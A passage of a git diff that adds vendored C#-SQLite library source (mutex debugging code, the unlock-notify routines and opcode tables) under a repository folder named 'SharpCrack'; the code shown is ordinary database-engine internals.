+(dxMutexAlloc)noopMutexAlloc, +(dxMutexFree)noopMutexFree, +(dxMutexEnter)noopMutexEnter, +(dxMutexTry)noopMutexTry, +(dxMutexLeave)noopMutexLeave, +#if SQLITE_DEBUG +(dxMutexHeld)noopMutexHeld, +(dxMutexNotheld)noopMutexNotheld +#else +null, +null +#endif +); + +return sMutex; +} +#endif //* !SQLITE_DEBUG */ + +#if SQLITE_DEBUG && !SQLITE_MUTEX_OMIT + /* +** In this implementation, error checking is provided for testing +** and debugging purposes. The mutexes still do not provide any +** mutual exclusion. +*/ + + /* + ** The mutex object + */ + public class sqlite3_debug_mutex : sqlite3_mutex + { + //public int id; /* The mutex type */ + public int cnt; /* Number of entries without a matching leave */ + }; + + /* + ** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routine are + ** intended for use inside Debug.Assert() statements. + */ + static bool debugMutexHeld( sqlite3_mutex pX ) + { + sqlite3_debug_mutex p = (sqlite3_debug_mutex)pX; + return p == null || p.cnt > 0; + } + static bool debugMutexNotheld( sqlite3_mutex pX ) + { + sqlite3_debug_mutex p = (sqlite3_debug_mutex)pX; + return p == null || p.cnt == 0; + } + + /* + ** Initialize and deinitialize the mutex subsystem. + */ + static int debugMutexInit() + { + return SQLITE_OK; + } + static int debugMutexEnd() + { + return SQLITE_OK; + } + + /* + ** The sqlite3_mutex_alloc() routine allocates a new + ** mutex and returns a pointer to it. If it returns NULL + ** that means that a mutex could not be allocated. + */ + static sqlite3_mutex debugMutexAlloc( int id ) + { + sqlite3_debug_mutex[] aStatic = new sqlite3_debug_mutex[6]; + sqlite3_debug_mutex pNew = null; + switch ( id ) + { + case SQLITE_MUTEX_FAST: + case SQLITE_MUTEX_RECURSIVE: + { + pNew = new sqlite3_debug_mutex();//sqlite3Malloc(sizeof(*pNew)); + if ( pNew != null ) + { + pNew.id = id; + pNew.cnt = 0; + } + break; + } + default: + { + Debug.Assert( id - 2 >= 0 ); + Debug.Assert( id - 2 < aStatic.Length );//(int)(sizeof(aStatic)/sizeof(aStatic[0])) ); + pNew = aStatic[id - 2]; + pNew.id = id; + break; + } + } + return pNew; + } + + /* + ** This routine deallocates a previously allocated mutex. + */ + static void debugMutexFree( sqlite3_mutex pX ) + { + sqlite3_debug_mutex p = (sqlite3_debug_mutex)pX; + Debug.Assert( p.cnt == 0 ); + Debug.Assert( p.id == SQLITE_MUTEX_FAST || p.id == SQLITE_MUTEX_RECURSIVE ); + //sqlite3_free(ref p); + } + + /* + ** The sqlite3_mutex_enter() and sqlite3_mutex_try() routines attempt + ** to enter a mutex. If another thread is already within the mutex, + ** sqlite3_mutex_enter() will block and sqlite3_mutex_try() will return + ** SQLITE_BUSY. The sqlite3_mutex_try() interface returns SQLITE_OK + ** upon successful entry. Mutexes created using SQLITE_MUTEX_RECURSIVE can + ** be entered multiple times by the same thread. In such cases the, + ** mutex must be exited an equal number of times before another thread + ** can enter. If the same thread tries to enter any other kind of mutex + ** more than once, the behavior is undefined. + */ + static void debugMutexEnter( sqlite3_mutex pX ) + { + sqlite3_debug_mutex p = (sqlite3_debug_mutex)pX; + Debug.Assert( p.id == SQLITE_MUTEX_RECURSIVE || debugMutexNotheld( p ) ); + p.cnt++; + } + + static int debugMutexTry( sqlite3_mutex pX ) + { + sqlite3_debug_mutex p = (sqlite3_debug_mutex)pX; + Debug.Assert( p.id == SQLITE_MUTEX_RECURSIVE || debugMutexNotheld( p ) ); + p.cnt++; + return SQLITE_OK; + } + + /* + ** The sqlite3_mutex_leave() routine exits a mutex that was + ** previously entered by the same thread. The behavior + ** is undefined if the mutex is not currently entered or + ** is not currently allocated. SQLite will never do either. + */ + static void debugMutexLeave( sqlite3_mutex pX ) + { + sqlite3_debug_mutex p = (sqlite3_debug_mutex)pX; + Debug.Assert( debugMutexHeld( p ) ); + p.cnt--; + Debug.Assert( p.id == SQLITE_MUTEX_RECURSIVE || debugMutexNotheld( p ) ); + } + + static sqlite3_mutex_methods sqlite3NoopMutex() + { + sqlite3_mutex_methods sMutex = new sqlite3_mutex_methods( + (dxMutexInit)debugMutexInit, + (dxMutexEnd)debugMutexEnd, + (dxMutexAlloc)debugMutexAlloc, + (dxMutexFree)debugMutexFree, + (dxMutexEnter)debugMutexEnter, + (dxMutexTry)debugMutexTry, + (dxMutexLeave)debugMutexLeave, + + (dxMutexHeld)debugMutexHeld, + (dxMutexNotheld)debugMutexNotheld + ); + + return sMutex; + } +#endif //* SQLITE_DEBUG */ + + /* +** If compiled with SQLITE_MUTEX_NOOP, then the no-op mutex implementation +** is used regardless of the run-time threadsafety setting. +*/ +#if SQLITE_MUTEX_NOOP +sqlite3_mutex_methods const sqlite3DefaultMutex(void){ +return sqlite3NoopMutex(); +} +#endif //* SQLITE_MUTEX_NOOP */ + + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/notify_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/notify_c.cs new file mode 100644 index 0000000..9833411 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/notify_c.cs @@ -0,0 +1,346 @@ +using System.Diagnostics; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2009 March 3 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** This file contains the implementation of the sqlite3_unlock_notify() + ** API method and its associated functionality. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2009-12-07 16:39:13 1ed88e9d01e9eda5cbc622e7614277f29bcc551c + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + //#include "btreeInt.h" + + /* Omit this entire file if SQLITE_ENABLE_UNLOCK_NOTIFY is not defined. */ +#if SQLITE_ENABLE_UNLOCK_NOTIFY + +/* +** Public interfaces: +** +** sqlite3ConnectionBlocked() +** sqlite3ConnectionUnlocked() +** sqlite3ConnectionClosed() +** sqlite3_unlock_notify() +*/ + +//#define assertMutexHeld() \ +assert( sqlite3_mutex_held(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)) ) + +/* +** Head of a linked list of all sqlite3 objects created by this process +** for which either sqlite3.pBlockingConnection or sqlite3.pUnlockConnection +** is not NULL. This variable may only accessed while the STATIC_MASTER +** mutex is held. +*/ +static sqlite3 *SQLITE_WSD sqlite3BlockedList = 0; + +#if !NDEBUG +/* +** This function is a complex assert() that verifies the following +** properties of the blocked connections list: +** +** 1) Each entry in the list has a non-NULL value for either +** pUnlockConnection or pBlockingConnection, or both. +** +** 2) All entries in the list that share a common value for +** xUnlockNotify are grouped together. +** +** 3) If the argument db is not NULL, then none of the entries in the +** blocked connections list have pUnlockConnection or pBlockingConnection +** set to db. This is used when closing connection db. +*/ +static void checkListProperties(sqlite3 *db){ +sqlite3 *p; +for(p=sqlite3BlockedList; p; p=p->pNextBlocked){ +int seen = 0; +sqlite3 *p2; + +/* Verify property (1) */ +assert( p->pUnlockConnection || p->pBlockingConnection ); + +/* Verify property (2) */ +for(p2=sqlite3BlockedList; p2!=p; p2=p2->pNextBlocked){ +if( p2->xUnlockNotify==p->xUnlockNotify ) seen = 1; +assert( p2->xUnlockNotify==p->xUnlockNotify || !seen ); +assert( db==0 || p->pUnlockConnection!=db ); +assert( db==0 || p->pBlockingConnection!=db ); +} +} +} +#else +//# define checkListProperties(x) +#endif + +/* +** Remove connection db from the blocked connections list. If connection +** db is not currently a part of the list, this function is a no-op. +*/ +static void removeFromBlockedList(sqlite3 *db){ +sqlite3 **pp; +assertMutexHeld(); +for(pp=&sqlite3BlockedList; *pp; pp = &(*pp)->pNextBlocked){ +if( *pp==db ){ +*pp = (*pp)->pNextBlocked; +break; +} +} +} + +/* +** Add connection db to the blocked connections list. It is assumed +** that it is not already a part of the list. +*/ +static void addToBlockedList(sqlite3 *db){ +sqlite3 **pp; +assertMutexHeld(); +for( +pp=&sqlite3BlockedList; +*pp && (*pp)->xUnlockNotify!=db->xUnlockNotify; +pp=&(*pp)->pNextBlocked +); +db->pNextBlocked = *pp; +*pp = db; +} + +/* +** Obtain the STATIC_MASTER mutex. +*/ +static void enterMutex(){ +sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)); +checkListProperties(0); +} + +/* +** Release the STATIC_MASTER mutex. +*/ +static void leaveMutex(){ +assertMutexHeld(); +checkListProperties(0); +sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)); +} + +/* +** Register an unlock-notify callback. +** +** This is called after connection "db" has attempted some operation +** but has received an SQLITE_LOCKED error because another connection +** (call it pOther) in the same process was busy using the same shared +** cache. pOther is found by looking at db->pBlockingConnection. +** +** If there is no blocking connection, the callback is invoked immediately, +** before this routine returns. +** +** If pOther is already blocked on db, then report SQLITE_LOCKED, to indicate +** a deadlock. +** +** Otherwise, make arrangements to invoke xNotify when pOther drops +** its locks. +** +** Each call to this routine overrides any prior callbacks registered +** on the same "db". If xNotify==0 then any prior callbacks are immediately +** cancelled. +*/ +int sqlite3_unlock_notify( +sqlite3 *db, +void (*xNotify)(void **, int), +void *pArg +){ +int rc = SQLITE_OK; + +sqlite3_mutex_enter(db->mutex); +enterMutex(); + +if( xNotify==0 ){ +removeFromBlockedList(db); +db->pUnlockConnection = 0; +db->xUnlockNotify = 0; +db->pUnlockArg = 0; +}else if( 0==db->pBlockingConnection ){ +/* The blocking transaction has been concluded. Or there never was a +** blocking transaction. In either case, invoke the notify callback +** immediately. +*/ +xNotify(&pArg, 1); +}else{ +sqlite3 *p; + +for(p=db->pBlockingConnection; p && p!=db; p=p->pUnlockConnection){} +if( p ){ +rc = SQLITE_LOCKED; /* Deadlock detected. */ +}else{ +db->pUnlockConnection = db->pBlockingConnection; +db->xUnlockNotify = xNotify; +db->pUnlockArg = pArg; +removeFromBlockedList(db); +addToBlockedList(db); +} +} + +leaveMutex(); +assert( !db->mallocFailed ); +sqlite3Error(db, rc, (rc?"database is deadlocked":0)); +sqlite3_mutex_leave(db->mutex); +return rc; +} + +/* +** This function is called while stepping or preparing a statement +** associated with connection db. The operation will return SQLITE_LOCKED +** to the user because it requires a lock that will not be available +** until connection pBlocker concludes its current transaction. +*/ +void sqlite3ConnectionBlocked(sqlite3 *db, sqlite3 *pBlocker){ +enterMutex(); +if( db->pBlockingConnection==0 && db->pUnlockConnection==0 ){ +addToBlockedList(db); +} +db->pBlockingConnection = pBlocker; +leaveMutex(); +} + +/* +** This function is called when +** the transaction opened by database db has just finished. Locks held +** by database connection db have been released. +** +** This function loops through each entry in the blocked connections +** list and does the following: +** +** 1) If the sqlite3.pBlockingConnection member of a list entry is +** set to db, then set pBlockingConnection=0. +** +** 2) If the sqlite3.pUnlockConnection member of a list entry is +** set to db, then invoke the configured unlock-notify callback and +** set pUnlockConnection=0. +** +** 3) If the two steps above mean that pBlockingConnection==0 and +** pUnlockConnection==0, remove the entry from the blocked connections +** list. +*/ +void sqlite3ConnectionUnlocked(sqlite3 *db){ +void (*xUnlockNotify)(void **, int) = 0; /* Unlock-notify cb to invoke */ +int nArg = 0; /* Number of entries in aArg[] */ +sqlite3 **pp; /* Iterator variable */ +void **aArg; /* Arguments to the unlock callback */ +void **aDyn = 0; /* Dynamically allocated space for aArg[] */ +void *aStatic[16]; /* Starter space for aArg[]. No malloc required */ + +aArg = aStatic; +enterMutex(); /* Enter STATIC_MASTER mutex */ + +/* This loop runs once for each entry in the blocked-connections list. */ +for(pp=&sqlite3BlockedList; *pp; /* no-op */ ){ +sqlite3 *p = *pp; + +/* Step 1. */ +if( p->pBlockingConnection==db ){ +p->pBlockingConnection = 0; +} + +/* Step 2. */ +if( p->pUnlockConnection==db ){ +assert( p->xUnlockNotify ); +if( p->xUnlockNotify!=xUnlockNotify && nArg!=0 ){ +xUnlockNotify(aArg, nArg); +nArg = 0; +} + +sqlite3BeginBenignMalloc(); +assert( aArg==aDyn || (aDyn==0 && aArg==aStatic) ); +assert( nArg<=(int)ArraySize(aStatic) || aArg==aDyn ); +if( (!aDyn && nArg==(int)ArraySize(aStatic)) +|| (aDyn && nArg==(int)(sqlite3DbMallocSize(db, aDyn)/sizeof(void*))) +){ +/* The aArg[] array needs to grow. */ +void **pNew = (void **)sqlite3Malloc(nArg*sizeof(void *)*2); +if( pNew ){ +memcpy(pNew, aArg, nArg*sizeof(void *)); +//sqlite3_free(aDyn); +aDyn = aArg = pNew; +}else{ +/* This occurs when the array of context pointers that need to +** be passed to the unlock-notify callback is larger than the +** aStatic[] array allocated on the stack and the attempt to +** allocate a larger array from the heap has failed. +** +** This is a difficult situation to handle. Returning an error +** code to the caller is insufficient, as even if an error code +** is returned the transaction on connection db will still be +** closed and the unlock-notify callbacks on blocked connections +** will go unissued. This might cause the application to wait +** indefinitely for an unlock-notify callback that will never +** arrive. +** +** Instead, invoke the unlock-notify callback with the context +** array already accumulated. We can then clear the array and +** begin accumulating any further context pointers without +** requiring any dynamic allocation. This is sub-optimal because +** it means that instead of one callback with a large array of +** context pointers the application will receive two or more +** callbacks with smaller arrays of context pointers, which will +** reduce the applications ability to prioritize multiple +** connections. But it is the best that can be done under the +** circumstances. +*/ +xUnlockNotify(aArg, nArg); +nArg = 0; +} +} +sqlite3EndBenignMalloc(); + +aArg[nArg++] = p->pUnlockArg; +xUnlockNotify = p->xUnlockNotify; +p->pUnlockConnection = 0; +p->xUnlockNotify = 0; +p->pUnlockArg = 0; +} + +/* Step 3. */ +if( p->pBlockingConnection==0 && p->pUnlockConnection==0 ){ +/* Remove connection p from the blocked connections list. */ +*pp = p->pNextBlocked; +p->pNextBlocked = 0; +}else{ +pp = &p->pNextBlocked; +} +} + +if( nArg!=0 ){ +xUnlockNotify(aArg, nArg); +} +//sqlite3_free(aDyn); +leaveMutex(); /* Leave STATIC_MASTER mutex */ +} + +/* +** This is called when the database connection passed as an argument is +** being closed. The connection is removed from the blocked list. +*/ +void sqlite3ConnectionClosed(sqlite3 *db){ +sqlite3ConnectionUnlocked(db); +enterMutex(); +removeFromBlockedList(db); +checkListProperties(db); +leaveMutex(); +} +#endif + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/opcodes_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/opcodes_c.cs new file mode 100644 index 0000000..593f108 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/opcodes_c.cs @@ -0,0 +1,170 @@ +/* +************************************************************************* +** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart +** C#-SQLite is an independent reimplementation of the SQLite software library +** +** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 +** +************************************************************************* +*/ +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* Automatically generated. Do not edit */ + /* See the mkopcodec.awk script for details. */ +#if !SQLITE_OMIT_EXPLAIN || !NDEBUG || VDBE_PROFILE || SQLITE_DEBUG + static string sqlite3OpcodeName( int i ) + { + string[] azName = { "?", + /* 1 */ "Goto", + /* 2 */ "Gosub", + /* 3 */ "Return", + /* 4 */ "Yield", + /* 5 */ "HaltIfNull", + /* 6 */ "Halt", + /* 7 */ "Integer", + /* 8 */ "Int64", + /* 9 */ "String", + /* 10 */ "Null", + /* 11 */ "Blob", + /* 12 */ "Variable", + /* 13 */ "Move", + /* 14 */ "Copy", + /* 15 */ "SCopy", + /* 16 */ "ResultRow", + /* 17 */ "CollSeq", + /* 18 */ "Function", + /* 19 */ "Not", + /* 20 */ "AddImm", + /* 21 */ "MustBeInt", + /* 22 */ "RealAffinity", + /* 23 */ "Permutation", + /* 24 */ "Compare", + /* 25 */ "Jump", + /* 26 */ "If", + /* 27 */ "IfNot", + /* 28 */ "Column", + /* 29 */ "Affinity", + /* 30 */ "MakeRecord", + /* 31 */ "Count", + /* 32 */ "Savepoint", + /* 33 */ "AutoCommit", + /* 34 */ "Transaction", + /* 35 */ "ReadCookie", + /* 36 */ "SetCookie", + /* 37 */ "VerifyCookie", + /* 38 */ "OpenRead", + /* 39 */ "OpenWrite", + /* 40 */ "OpenAutoindex", + /* 41 */ "OpenEphemeral", + /* 42 */ "OpenPseudo", + /* 43 */ "Close", + /* 44 */ "SeekLt", + /* 45 */ "SeekLe", + /* 46 */ "SeekGe", + /* 47 */ "SeekGt", + /* 48 */ "Seek", + /* 49 */ "NotFound", + /* 50 */ "Found", + /* 51 */ "IsUnique", + /* 52 */ "NotExists", + /* 53 */ "Sequence", + /* 54 */ "NewRowid", + /* 55 */ "Insert", + /* 56 */ "InsertInt", + /* 57 */ "Delete", + /* 58 */ "ResetCount", + /* 59 */ "RowKey", + /* 60 */ "RowData", + /* 61 */ "Rowid", + /* 62 */ "NullRow", + /* 63 */ "Last", + /* 64 */ "Sort", + /* 65 */ "Rewind", + /* 66 */ "Prev", + /* 67 */ "Next", + /* 68 */ "Or", + /* 69 */ "And", + /* 70 */ "IdxInsert", + /* 71 */ "IdxDelete", + /* 72 */ "IdxRowid", + /* 73 */ "IsNull", + /* 74 */ "NotNull", + /* 75 */ "Ne", + /* 76 */ "Eq", + /* 77 */ "Gt", + /* 78 */ "Le", + /* 79 */ "Lt", + /* 80 */ "Ge", + /* 81 */ "IdxLT", + /* 82 */ "BitAnd", + /* 83 */ "BitOr", + /* 84 */ "ShiftLeft", + /* 85 */ "ShiftRight", + /* 86 */ "Add", + /* 87 */ "Subtract", + /* 88 */ "Multiply", + /* 89 */ "Divide", + /* 90 */ "Remainder", + /* 91 */ "Concat", + /* 92 */ "IdxGE", + /* 93 */ "BitNot", + /* 94 */ "String8", + /* 95 */ "Destroy", + /* 96 */ "Clear", + /* 97 */ "CreateIndex", + /* 98 */ "CreateTable", + /* 99 */ "ParseSchema", + /* 100 */ "LoadAnalysis", + /* 101 */ "DropTable", + /* 102 */ "DropIndex", + /* 103 */ "DropTrigger", + /* 104 */ "IntegrityCk", + /* 105 */ "RowSetAdd", + /* 106 */ "RowSetRead", + /* 107 */ "RowSetTest", + /* 108 */ "Program", + /* 109 */ "Param", + /* 110 */ "FkCounter", + /* 111 */ "FkIfZero", + /* 112 */ "MemMax", + /* 113 */ "IfPos", + /* 114 */ "IfNeg", + /* 115 */ "IfZero", + /* 116 */ "AggStep", + /* 117 */ "AggFinal", + /* 118 */ "Checkpoint", + /* 119 */ "JournalMode", + /* 120 */ "Vacuum", + /* 121 */ "IncrVacuum", + /* 122 */ "Expire", + /* 123 */ "TableLock", + /* 124 */ "VBegin", + /* 125 */ "VCreate", + /* 126 */ "VDestroy", + /* 127 */ "VOpen", + /* 128 */ "VFilter", + /* 129 */ "VColumn", + /* 130 */ "Real", + /* 131 */ "VNext", + /* 132 */ "VRename", + /* 133 */ "VUpdate", + /* 134 */ "Pagecount", + /* 135 */ "MaxPgcnt", + /* 136 */ "Trace", + /* 137 */ "Noop", + /* 138 */ "Explain", + /* 139 */ "NotUsed_139", + /* 140 */ "NotUsed_140", + /* 141 */ "ToText", + /* 142 */ "ToBlob", + /* 143 */ "ToNumeric", + /* 144 */ "ToInt", + /* 145 */ "ToReal", +}; + return azName[i]; + } +#endif + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/opcodes_h.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/opcodes_h.cs new file mode 100644 index 0000000..a723c61 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/opcodes_h.cs @@ -0,0 +1,348 @@ +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* Automatically generated. Do not edit */ + /* See the mkopcodeh.awk script for details */ + /* Automatically generated. Do not edit */ + /* See the mkopcodeh.awk script for details */ + //#define OP_Goto 1 + //#define OP_Gosub 2 + //#define OP_Return 3 + //#define OP_Yield 4 + //#define OP_HaltIfNull 5 + //#define OP_Halt 6 + //#define OP_Integer 7 + //#define OP_Int64 8 + //#define OP_Real 130 /* same as TK_FLOAT */ + //#define OP_String8 94 /* same as TK_STRING */ + //#define OP_String 9 + //#define OP_Null 10 + //#define OP_Blob 11 + //#define OP_Variable 12 + //#define OP_Move 13 + //#define OP_Copy 14 + //#define OP_SCopy 15 + //#define OP_ResultRow 16 + //#define OP_Concat 91 /* same as TK_CONCAT */ + //#define OP_Add 86 /* same as TK_PLUS */ + //#define OP_Subtract 87 /* same as TK_MINUS */ + //#define OP_Multiply 88 /* same as TK_STAR */ + //#define OP_Divide 89 /* same as TK_SLASH */ + //#define OP_Remainder 90 /* same as TK_REM */ + //#define OP_CollSeq 17 + //#define OP_Function 18 + //#define OP_BitAnd 82 /* same as TK_BITAND */ + //#define OP_BitOr 83 /* same as TK_BITOR */ + //#define OP_ShiftLeft 84 /* same as TK_LSHIFT */ + //#define OP_ShiftRight 85 /* same as TK_RSHIFT */ + //#define OP_AddImm 20 + //#define OP_MustBeInt 21 + //#define OP_RealAffinity 22 + //#define OP_ToText 141 /* same as TK_TO_TEXT */ + //#define OP_ToBlob 142 /* same as TK_TO_BLOB */ + //#define OP_ToNumeric 143 /* same as TK_TO_NUMERIC*/ + //#define OP_ToInt 144 /* same as TK_TO_INT */ + //#define OP_ToReal 145 /* same as TK_TO_REAL */ + //#define OP_Eq 76 /* same as TK_EQ */ + //#define OP_Ne 75 /* same as TK_NE */ + //#define OP_Lt 79 /* same as TK_LT */ + //#define OP_Le 78 /* same as TK_LE */ + //#define OP_Gt 77 /* same as TK_GT */ + //#define OP_Ge 80 /* same as TK_GE */ + //#define OP_Permutation 23 + //#define OP_Compare 24 + //#define OP_Jump 25 + //#define OP_And 69 /* same as TK_AND */ + //#define OP_Or 68 /* same as TK_OR */ + //#define OP_Not 19 /* same as TK_NOT */ + //#define OP_BitNot 93 /* same as TK_BITNOT */ + //#define OP_If 26 + //#define OP_IfNot 27 + //#define OP_IsNull 73 /* same as TK_ISNULL */ + //#define OP_NotNull 74 /* same as TK_NOTNULL */ + //#define OP_Column 28 + //#define OP_Affinity 29 + //#define OP_MakeRecord 30 + //#define OP_Count 31 + //#define OP_Savepoint 32 + //#define OP_AutoCommit 33 + //#define OP_Transaction 34 + //#define OP_ReadCookie 35 + //#define OP_SetCookie 36 + //#define OP_VerifyCookie 37 + //#define OP_OpenRead 38 + //#define OP_OpenWrite 39 + //#define OP_OpenAutoindex 40 + //#define OP_OpenEphemeral 41 + //#define OP_OpenPseudo 42 + //#define OP_Close 43 + //#define OP_SeekLt 44 + //#define OP_SeekLe 45 + //#define OP_SeekGe 46 + //#define OP_SeekGt 47 + //#define OP_Seek 48 + //#define OP_NotFound 49 + //#define OP_Found 50 + //#define OP_IsUnique 51 + //#define OP_NotExists 52 + //#define OP_Sequence 53 + //#define OP_NewRowid 54 + //#define OP_Insert 55 + //#define OP_InsertInt 56 + //#define OP_Delete 57 + //#define OP_ResetCount 58 + //#define OP_RowKey 59 + //#define OP_RowData 60 + //#define OP_Rowid 61 + //#define OP_NullRow 62 + //#define OP_Last 63 + //#define OP_Sort 64 + //#define OP_Rewind 65 + //#define OP_Prev 66 + //#define OP_Next 67 + //#define OP_IdxInsert 70 + //#define OP_IdxDelete 71 + //#define OP_IdxRowid 72 + //#define OP_IdxLT 81 + //#define OP_IdxGE 92 + //#define OP_Destroy 95 + //#define OP_Clear 96 + //#define OP_CreateIndex 97 + //#define OP_CreateTable 98 + //#define OP_ParseSchema 99 + //#define OP_LoadAnalysis 100 + //#define OP_DropTable 101 + //#define OP_DropIndex 102 + //#define OP_DropTrigger 103 + //#define OP_IntegrityCk 104 + //#define OP_RowSetAdd 105 + //#define OP_RowSetRead 106 + //#define OP_RowSetTest 107 + //#define OP_Program 108 + //#define OP_Param 109 + //#define OP_FkCounter 110 + //#define OP_FkIfZero 111 + //#define OP_MemMax 112 + //#define OP_IfPos 113 + //#define OP_IfNeg 114 + //#define OP_IfZero 115 + //#define OP_AggStep 116 + //#define OP_AggFinal 117 + //#define OP_Checkpoint 118 + //#define OP_JournalMode 119 + //#define OP_Vacuum 120 + //#define OP_IncrVacuum 121 + //#define OP_Expire 122 + //#define OP_TableLock 123 + //#define OP_VBegin 124 + //#define OP_VCreate 125 + //#define OP_VDestroy 126 + //#define OP_VOpen 127 + //#define OP_VFilter 128 + //#define OP_VColumn 129 + //#define OP_VNext 131 + //#define OP_VRename 132 + //#define OP_VUpdate 133 + //#define OP_Pagecount 134 + //#define OP_MaxPgcnt 135 + //#define OP_Trace 136 + //#define OP_Noop 137 + //#define OP_Explain 138 + + public const int OP_Goto = 1; + public const int OP_Gosub = 2; + public const int OP_Return = 3; + public const int OP_Yield = 4; + public const int OP_HaltIfNull = 5; + public const int OP_Halt = 6; + public const int OP_Integer = 7; + public const int OP_Int64 = 8; + public const int OP_Real = 130 /* same as TK_FLOAT */; + public const int OP_String8 = 94 /* same as TK_STRING */; + public const int OP_String = 9; + public const int OP_Null = 10; + public const int OP_Blob = 11; + public const int OP_Variable = 12; + public const int OP_Move = 13; + public const int OP_Copy = 14; + public const int OP_SCopy = 15; + public const int OP_ResultRow = 16; + public const int OP_Concat = 91 /* same as TK_CONCAT */; + public const int OP_Add = 86 /* same as TK_PLUS */; + public const int OP_Subtract = 87 /* same as TK_MINUS */; + public const int OP_Multiply = 88 /* same as TK_STAR */; + public const int OP_Divide = 89 /* same as TK_SLASH */; + public const int OP_Remainder = 90 /* same as TK_REM */; + public const int OP_CollSeq = 17; + public const int OP_Function = 18; + public const int OP_BitAnd = 82 /* same as TK_BITAND */; + public const int OP_BitOr = 83 /* same as TK_BITOR */; + public const int OP_ShiftLeft = 84 /* same as TK_LSHIFT */; + public const int OP_ShiftRight = 85 /* same as TK_RSHIFT */; + public const int OP_AddImm = 20; + public const int OP_MustBeInt = 21; + public const int OP_RealAffinity = 22; + public const int OP_ToText = 141 /* same as TK_TO_TEXT */; + public const int OP_ToBlob = 142 /* same as TK_TO_BLOB */; + public const int OP_ToNumeric = 143 /* same as TK_TO_NUMERIC*/; + public const int OP_ToInt = 144 /* same as TK_TO_INT */; + public const int OP_ToReal = 145 /* same as TK_TO_REAL */; + public const int OP_Eq = 76 /* same as TK_EQ */; + public const int OP_Ne = 75 /* same as TK_NE */; + public const int OP_Lt = 79 /* same as TK_LT */; + public const int OP_Le = 78 /* same as TK_LE */; + public const int OP_Gt = 77 /* same as TK_GT */; + public const int OP_Ge = 80 /* same as TK_GE */; + public const int OP_Permutation = 23; + public const int OP_Compare = 24; + public const int OP_Jump = 25; + public const int OP_And = 69 /* same as TK_AND */; + public const int OP_Or = 68 /* same as TK_OR */; + public const int OP_Not = 19 /* same as TK_NOT */; + public const int OP_BitNot = 93 /* same as TK_BITNOT */; + public const int OP_If = 26; + public const int OP_IfNot = 27; + public const int OP_IsNull = 73 /* same as TK_ISNULL */; + public const int OP_NotNull = 74 /* same as TK_NOTNULL */; + public const int OP_Column = 28; + public const int OP_Affinity = 29; + public const int OP_MakeRecord = 30; + public const int OP_Count = 31; + public const int OP_Savepoint = 32; + public const int OP_AutoCommit = 33; + public const int OP_Transaction = 34; + public const int OP_ReadCookie = 35; + public const int OP_SetCookie = 36; + public const int OP_VerifyCookie = 37; + public const int OP_OpenRead = 38; + public const int OP_OpenWrite = 39; + public const int OP_OpenAutoindex = 40; + public const int OP_OpenEphemeral = 41; + public const int OP_OpenPseudo = 42; + public const int OP_Close = 43; + public const int OP_SeekLt = 44; + public const int OP_SeekLe = 45; + public const int OP_SeekGe = 46; + public const int OP_SeekGt = 47; + public const int OP_Seek = 48; + public const int OP_NotFound = 49; + public const int OP_Found = 50; + public const int OP_IsUnique = 51; + public const int OP_NotExists = 52; + public const int OP_Sequence = 53; + public const int OP_NewRowid = 54; + public const int OP_Insert = 55; + public const int OP_InsertInt = 56; + public const int OP_Delete = 57; + public const int OP_ResetCount = 58; + public const int OP_RowKey = 59; + public const int OP_RowData = 60; + public const int OP_Rowid = 61; + public const int OP_NullRow = 62; + public const int OP_Last = 63; + public const int OP_Sort = 64; + public const int OP_Rewind = 65; + public const int OP_Prev = 66; + public const int OP_Next = 67; + public const int OP_IdxInsert = 70; + public const int OP_IdxDelete = 71; + public const int OP_IdxRowid = 72; + public const int OP_IdxLT = 81; + public const int OP_IdxGE = 92; + public const int OP_Destroy = 95; + public const int OP_Clear = 96; + public const int OP_CreateIndex = 97; + public const int OP_CreateTable = 98; + public const int OP_ParseSchema = 99; + public const int OP_LoadAnalysis = 100; + public const int OP_DropTable = 101; + public const int OP_DropIndex = 102; + public const int OP_DropTrigger = 103; + public const int OP_IntegrityCk = 104; + public const int OP_RowSetAdd = 105; + public const int OP_RowSetRead = 106; + public const int OP_RowSetTest = 107; + public const int OP_Program = 108; + public const int OP_Param = 109; + public const int OP_FkCounter = 110; + public const int OP_FkIfZero = 111; + public const int OP_MemMax = 112; + public const int OP_IfPos = 113; + public const int OP_IfNeg = 114; + public const int OP_IfZero = 115; + public const int OP_AggStep = 116; + public const int OP_AggFinal = 117; + public const int OP_Checkpoint = 118; + public const int OP_JournalMode = 119; + public const int OP_Vacuum = 120; + public const int OP_IncrVacuum = 121; + public const int OP_Expire = 122; + public const int OP_TableLock = 123; + public const int OP_VBegin = 124; + public const int OP_VCreate = 125; + public const int OP_VDestroy = 126; + public const int OP_VOpen = 127; + public const int OP_VFilter = 128; + public const int OP_VColumn = 129; + public const int OP_VNext = 131; + public const int OP_VRename = 132; + public const int OP_VUpdate = 133; + public const int OP_Pagecount = 134; + public const int OP_MaxPgcnt = 135; + public const int OP_Trace = 136; + public const int OP_Noop = 137; + public const int 